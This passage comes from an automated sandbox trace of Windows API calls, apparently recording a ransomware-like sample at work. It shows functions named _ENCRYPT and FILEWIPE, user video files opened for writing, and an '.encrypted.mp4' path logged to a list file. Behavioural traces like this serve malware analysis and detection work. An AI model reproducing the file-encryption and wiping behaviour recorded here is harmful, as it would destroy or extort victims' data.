wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.629] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.629] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.630] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.630] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.630] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.630] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.630] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.630] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.630] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.630] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.630] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.631] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.632] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.632] CharLowerBuffW (in: lpsz="byte[16271]", cchLength=0xb | out: lpsz="byte[16271]") returned 0xb [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.632] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.632] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.632] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.633] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.633] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.633] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.633] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.634] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.634] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.634] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.634] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.634] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.634] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.635] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.635] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.635] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.635] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.635] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11391) returned 1 [0029.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.635] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2c7f, lpOverlapped=0x0) returned 1 [0029.635] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2c7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11391) returned 1 [0029.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.encrypted.mp4\r\n", cchWideChar=124, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 124 [0029.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.encrypted.mp4\r\n", cchWideChar=124, lpMultiByteStr=0xe8f4067730, cbMultiByte=124, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.encrypted.mp4\r\n", lpUsedDefaultChar=0x0) returned 124 [0029.636] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4068420*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4068420*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x7b, lpOverlapped=0x0) returned 1 [0029.636] CloseHandle (hObject=0x1fc) returned 1 [0029.637] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.637] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.637] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.638] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.638] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.638] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.638] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.638] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.639] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.639] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.639] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.mkv", cchWideChar=113, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 113 [0029.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.mkv", cchWideChar=113, lpMultiByteStr=0xe8f4066070, cbMultiByte=113, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.mkv", lpUsedDefaultChar=0x0) returned 113 [0029.640] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\hvhtrrp5njjnr.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=113, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0029.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=113, lpWideCharStr=0xe8f40632e0, cchWideChar=113 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.mkv") returned 113 [0029.641] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.641] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.641] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.642] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.642] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.642] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.642] CloseHandle (hObject=0x1fc) returned 1 [0029.642] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.642] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.642] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.642] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.643] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) 